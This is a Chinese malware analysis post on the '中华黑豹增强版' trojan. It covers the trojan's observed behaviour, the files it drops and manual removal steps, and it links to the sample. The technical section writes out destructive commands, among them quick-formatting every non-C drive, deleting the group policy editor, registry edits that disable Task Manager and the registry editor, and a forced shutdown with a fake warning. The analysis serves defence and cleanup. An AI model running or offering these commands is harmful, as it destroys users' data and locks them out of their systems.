中华黑豹增强版木马分析

样本网址：http://download.csdn.net/detail/cs08211317dn/4144024

一．           大致描述：

1.      样本名称：中华黑豹增强版.exe

2.      家族名： TrojanDownloader:VBS/Lnkget.D(Microsoft)

3.       MD5： 58D57C99F8B8836D20BB58B320FDF496

4.      技术细节大致描述: 木马快速格式化除C盘外的硬盘，并在桌面以及除C盘外的硬盘内写入大量特殊名字的空文件夹。这些空文件夹不能直接手动删除。

5.      样本运行后现象：

木马会循环播放一段提示中毒的声音。桌面会变

成如下情况。除了C盘以外的盘被格式化并写入大量空文件夹，桌面上也被创建了大量空文件夹。


等到弹窗倒计时结束后，计算机会自动关闭。

二.技术细节

1. 进程中华黑豹增强版.exe创建文件C:\WINDOWS\system\CHINAHEIBAO\1.vbs，C:\WINDOWS\system\CHINAHEIBAO\3.vbs，C:\WINDOWS\system\CHINAHEIBAO\2.exe，C:\WINDOWS\system\CHINAHEIBAO\8.exe，C:\WINDOWS\system\CHINAHEIBAO\死机.exe，C:\WINDOWS\system\CHINAHEIBAO\提示1.exe，C:\WINDOWS\system\CHINAHEIBAO\提示2.exe，C:\WINDOWS\system\CHINAHEIBAO\3.bat，C:\WINDOWS\system\CHINAHEIBAO\Qingchu.bat，C:\WINDOWS\system\CHINAHEIBAO\ZhuYao.bat。

进程中华黑豹增强版.exe用命令行"C:\WINDOWS\System32\WScript.exe""C:\WINDOWS\system\CHINAHEIBAO\1.VBS"创建新进程C:\WINDOWS\System32\WScript.exe，其中1.VBS的内容如下：


2. 进程c:\windows\system32\cmd.exe用命令cmd /c""C:\WINDOWS\system\CHINAHEIBAO\ZhuYao.bat" /start"调用批处理文件ZhuYao.bat。用记事本打开这个文件发现全是乱码。

用如下attrib命令ATTRIB\WINDOWS\system\CHINAHEIBAO +S +R +H，设置WINDOWS\system\CHINAHEIBAO文件夹属性为系统、只读和隐藏。

用regedit命令regedit.exe /s 1.reg将1.reg中的内容写入注册表，以禁用任务管理器，1.reg内容如下：


进程c:\windows\system32\cmd.exe连续用命令行format e:/q /y，format f:/q /y，format g:/q /y，format h:/q /y，format i:/q /y，format j:/q /y，format k:/q /y format L:/q /y，format M:/q /y，快速格式化E盘，F盘，G盘等。

进程c:\windows\system32\cmd.exe删除文件C:\WINDOWS\system32\gpedit.msc，此文件为组策略管理器。

进程c:\windows\system32\cmd.exe用命令行attrib "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动" +h +s +r，修改文件夹C:\Documents and Settings\Administrator\「开始」菜单\程序\启动的属性为系统、只读和隐藏。

进程c:\windows\system32\cmd.exe创建文件C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Qingchu.bat。

进程c:\windows\system32\cmd.exe用命令行reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIcons" /v 3 /d "\WINDOWS\system\"CHINAHEIBAO\1.ico",0"/f，以修改文件夹图标为WINDOWS\system\"CHINAHEIBAO\1.ico。

进程c:\windows\system32\cmd.exe创建进程c:\windows\system\chinaheibao\2.exe和c:\windows\system\chinaheibao\8.exe。

进程c:\windows\system32\cmd.exe用命令行"C:\WINDOWS\System32\WScript.exe""C:\WINDOWS\system\CHINAHEIBAO\3.vbs"。文件3.vbs内容截图如下：

进程c:\windows\system32\cmd.exe创建新进程c:\windows\system\chinaheibao\提示1.exe和c:\windows\system\chinaheibao\提示2.exe，以显示如下两个窗口：



进程c:\windows\system32\cmd.exe连续循环调用以下5条命令行：reg add "hkcu\control panel\desktop"/v "wallpaper" /d "\WINDOWS\system\CHINAHEIBAO\1.BMP" /f，reg add "hkcu\control panel\desktop" /v"wallpaper" /d "\WINDOWS\system\CHINAHEIBAO\2.BMP" /f，reg add "hkcu\control panel\desktop" /v"wallpaper" /d "\WINDOWS\system\CHINAHEIBAO\3.BMP" /f，reg add "hkcu\control panel\desktop" /v"wallpaper" /d "\WINDOWS\system\CHINAHEIBAO\4.BMP" /f，reg add "hkcu\control panel\desktop" /v"wallpaper" /d "\WINDOWS\system\CHINAHEIBAO\5.BMP" /f，以使得桌面在1.bmp到5.bmp这5张图片之间切换。

进程c:\windows\system32\cmd.exe用命令行shutdown.exe -s -t 300 -c "非常抱歉！系统检测到了 中华黑豹  病毒，Windows正在后台紧急处理，请稍等，不要关闭计算机，系统将自动关闭"，使得弹出如下对话框：

并且系统在倒计时结束之后自动关闭。

进程c:\windows\system32\reg.exe修改注册表项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools的值为0x00000001(1)，以禁用注册表编辑器。

进程c:\windows\system32\cmd.exe创建新进程c:\windows\system\chinaheibao\死机.exe。

进程: c:\windows\system32\cmd.exe用命令行mshta "javascript:newActiveXObject('WMPlayer.OCX').cdromCollection.Item(0).Eject();window.close();"创建进程mshta.exe。

3.木马会在桌面以及除了C盘以外的硬盘里生成大量命名特殊的空文件夹，截图如下：



试图直接删除这些文件夹，删除时报错：


用xuetr删除失败，用xuetr强制删除成功。也可以先用xuetr重命名文件，去除文件末尾的“.”，然后再直接删除文件。

无法直接删除这些文件夹的原因是XXXXXXXXXXXXXX.这样的文件名不符合8.3的命名规制，WINDOWS下允许建立不符合8.3命名规则的文件，但是在删除时会找不到文件。


三. 手杀方案

1.       中病毒之后重启计算机

2.      手动删除C:\WINDOWS\system\CHINAHEIBAO文件夹（此时里面的文件已经都自动删除了）。

3.      删除注册表项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr和HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools，以使任务管理器和注册表编辑器可用。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIcons

4.      用xuetr强制删除桌面以及除了C盘以外硬盘中的空文件夹。或者先用xuetr重命名文件夹，去掉文件名最后的“.”，然后直接手动删除文件。




本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/570606.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

epoll源码分析

epoll源码分析

epoll源码分析 最近在使用libev过程中遇到一个场景：一个fd从一个ev_loop迁移到另一个ev_loop，会出现这个fd同时存在两个epoll的瞬间。不禁要问了，一个fd同时被两个epoll监视的行为是怎样的，epoll嵌套使用是怎样实现的？…
阅读更多...
C#编程简单应用程序批量修改文件名

C#编程简单应用程序批量修改文件名

用C#编写的程序，可以将所在文件夹内的Photo1.png~Photo10.png十个文件，按照指定的顺序改名为不同的.jpg文件： 【程序代码如下】 using System; using System.IO;class Program {static void Main(string[] args){string folderPath "…
阅读更多...
vc++类型转换

vc++类型转换

一．VC常用数据类型列表 二．常用数据类型转化 2.1数学类型变量与字符串相互转换 2.2 CString及string,char *与其他数据类型的转换和操作 ●CString,string,char*的综合比较 ●数学类型与CString相互转化 ●CString与char*相互转换举例 ●CString 与 BSTR…
阅读更多...
C Shuffle Cards

C Shuffle Cards

牛客网暑期ACM多校训练营（第三场） C Shuffle Cards 题目： 链接：https://www.nowcoder.com/acm/contest/141/C来源：牛客网 时间限制：C/C 1秒，其他语言2秒空间限制：C/C 262144K&…
阅读更多...
用windows api 计算文件的md5值

用windows api 计算文件的md5值

我自己封装了一个函数GetMd5(LPCWSTR FileDirectory)。其中调用了windows api：CryptAcquireContext，CryptCreateHash,CryptHashData等。要计算不同文件的md5值，只需在调用此函数时传入不同文件的全路径即可，不需要额外的dll。示例…
阅读更多...
C#调用带结构体指针的C Dll的方法

C#调用带结构体指针的C Dll的方法

C#调用带结构体指针的C Dll的方法 原文:C#调用带结构体指针的C Dll的方法在C#中调用C（C）类的DLL的时候，有时候C的接口函数包含很多参数，而且有的时候这些参数有可能是个结构体，而且有可能是结构体指针，那么…
阅读更多...
【MFC】遍历文件夹及其子文件夹

【MFC】遍历文件夹及其子文件夹

void ScanFile(CString Dir) {CFileFind finder;CString AddL"\\*";CString DirSpecDirAdd; //补全要遍历的文件夹的目录BOOL bWorking finder.FindFile(DirSpec);while (bWorking){bWorking finder.FindNextFile();if(!finder.IsDots(…
阅读更多...
HihoCoder - 1483 区间最值

HihoCoder - 1483 区间最值

给定n个数A1...An&#xff0c;小Ho想了解AL..AR中有多少对元素值相同。小Ho把这个数目定义为区间[L,R]的价值&#xff0c;用v[L,R]表示。 例如1 1 1 2 2这五个数所组成的区间的价值为4。 现在小Ho想知道在所有的的v[L,R](1 < L < R < n)中&#xff0c;第k小的值是多少…
阅读更多...
用EnumProcesses（）枚举进程

用EnumProcesses（）枚举进程

参照msdn的例子&#xff0c;用EnumProcesses&#xff08;&#xff09;枚举进程并输入进程名和句柄。以下代码在vs2008中测试通过&#xff1a; #include "stdafx.h" #include <windows.h> #include "psapi.h" #pragma comment (lib, "psapi.…
阅读更多...
利用Tomcat运行一个JSP页面 详细步骤

利用Tomcat运行一个JSP页面 详细步骤

1.启动Tomcat: 在Tomcat安装目录下的bin文件夹中&#xff0c;运行startup.bat批处理文件。截图如下&#xff1a; 此时会自动弹出窗口&#xff1a; 不要关闭这个窗口。 2.测试Tomcat是否启动成功。 打开浏览器&#xff0c;在地址栏中输入http://localhost:8080&#xff08;Tom…
阅读更多...
springboot 找不到mapper问题

springboot 找不到mapper问题

<!-- 如果不添加此节点mybatis的mapper.xml文件都会被漏掉。 --><resources> <!--新版本IDEA 开发工具maven编译不支持xml文件的编译&#xff0c;eclipse不影响--> <resource> <directory>src/main/java</directory> <in…
阅读更多...
JSP的三个编译指令-page,include详解

JSP的三个编译指令-page,include详解

JSP的编译指令是通知JSP引擎的消息。 常见的编译指令有三个&#xff1a; page&#xff1a;该指令是针对当前页面的指令。 include&#xff1a;用于指定如何包含另一个页面。 tablib&#xff1a;用于定义和访问自定义标签。 编译指令格式如下&#xff1a; <% 编译指令…
阅读更多...
计算机基础：计算机网络-socket编程

计算机基础：计算机网络-socket编程

来源&#xff1a;mooc大学华南理工大学计算机网络课程 chapter6 代码&#xff1a;https://github.com/NeilKeats/SocketDemo/commit/5f3a795250a95339106ed741b4355a9c6c3d39e9 1.设计原理&#xff1a;CS系统 2.如何使用&#xff1a; 3.TCP通信的socket例子&#xff1a;文件传输…
阅读更多...
centos 静态拨号

centos 静态拨号

本人系统centos6.5&#xff1b;虚拟机太丑&#xff0c;固ssh。 centos的与联网相关的配置文件在 $ /etc/sysconfig/network-scripts DHCP方式-联网 打开文件 $ vim /etc/sysconfig/network-scripts/ifcfg-eth0 常见参数说明 DEVICEeth0 # 网卡名称&#xff0c;一般不会改动 HWA…
阅读更多...
JSP的9个内置对象-application

JSP的9个内置对象-application

JSP页面中包含9个内置对象&#xff0c;这9个内置对象都是Servlet API的类或者接口的实例&#xff0c;只是JSP规范将它们完成了默认初始化&#xff0c;即它们已经是对象&#xff0c;可以直接使用。 application&#xff1a;javax.servlet.ServletContext的实例&#xff0c;该实…
阅读更多...
jsp中获取list长度

jsp中获取list长度

<% taglib uri"http://java.sun.com/jsp/jstl/core" prefix"c"%> <% taglib prefix"fn" uri"http://java.sun.com/jsp/jstl/functions"%> list的长度是&#xff1a;${fn:length(list)}转载于:https://www.cnblogs.com/ca…
阅读更多...
JSP的7个动作指令-forward指令

JSP的7个动作指令-forward指令

forward指令用于将页面响应控制转发给另外的页面。既可以转发给静态的HTML页面&#xff0c;也可以转发到动态的JSP页面&#xff0c;或者转发到容器的Servlet。 JSP的forward指令格式如下&#xff1a; 对于JSP1.0&#xff0c;使用如下语法&#xff1a; <jsp:forward page&q…
阅读更多...
JSP的9个内置对象-request

JSP的9个内置对象-request

request&#xff1a;javax.servlet.http:HttpServletRequest的实例&#xff0c;该对象封装了一次请求&#xff0c;客户端的请求参数都被封装在该对象里。获取客户端请求参数必须使用该对象。常用的方法有getParameter(String paramName), getParameterValues(String paramName)…
阅读更多...
算法图解学习笔记02：递归和栈

算法图解学习笔记02：递归和栈

计算机内存原理 要说递归和栈的问题&#xff0c;首先就要说下计算机内存的基本原理。简单理解计算机内存原理可以将一台电脑看作超市的存包柜&#xff0c;每个柜子都有柜号&#xff08;即计算机中的地址&#xff0c;如0x000000f&#xff09;。当需要将数据存储到计算机中时&…
阅读更多...
JSP的9个内置对象-response

JSP的9个内置对象-response

response代表服务器对客户端的响应。大部分时候&#xff0c;程序无须使用response来响应客户端请求&#xff0c;因为有个更简单的响应对象-out。它是页面输出流&#xff0c;是JstWriter的实例。JspWriter是Writer的子类&#xff0c;Writer是字符流&#xff0c;无法输出非字符内…
阅读更多...
最新文章

Copyright @ 2022~2023